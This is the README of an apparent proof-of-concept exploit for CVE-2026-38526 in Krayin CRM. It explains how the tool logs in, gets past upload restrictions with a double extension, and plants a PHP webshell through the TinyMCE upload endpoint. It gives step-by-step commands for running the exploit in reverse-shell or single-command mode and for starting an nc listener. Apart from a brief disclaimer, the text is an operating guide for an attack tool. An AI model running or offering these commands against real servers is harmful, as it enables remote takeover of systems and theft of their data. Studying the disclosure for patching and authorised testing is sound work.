CVE-2026-38526 - Krayin CRM RCE Exploit

Krayin CRM (≤ 2.2.x) - Unrestricted File Upload leading to Remote Code Execution.

This PoC exploits the vulnerable TinyMCE upload endpoint (/admin/tinymce/upload) to upload a PHP webshell and achieve command execution on the server.

Features

• Full automatic login with CSRF token handling
• Bypasses upload restrictions using double extension
• Supports reverse shell and single command execution
• Reliable Laravel CSRF token refresh
• Clean and easy to use

Downloading

git clone https://github.com/pawpic/CVE-2026-38526-POC

Requirements

pip3 install requests beautifulsoup4

Usage

1. Reverse Shell (Default & Recommended)

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  --lhost YOUR_IP \
  --lport 4444

2. Single Command

python3 exploit.py \
  -u http://example.com \
  -e [email protected] \
  -p "example_pass" \
  -c "whoami"

Options

Example Workflow

Start listener:

nc -lvnp 4444

Run the exploit:

python3 exploit.py -u http://target.com -e [email protected] -p password --lhost IP_ADDR

Disclaimer

This exploit is intended for educational purposes and authorized penetration testing only. Unauthorized use against systems you do not have explicit permission to test is illegal.

Affected Versions

Krayin CRM ≤ 2.2.x CVE: CVE-2026-38526

Author: pawpic Date: 2026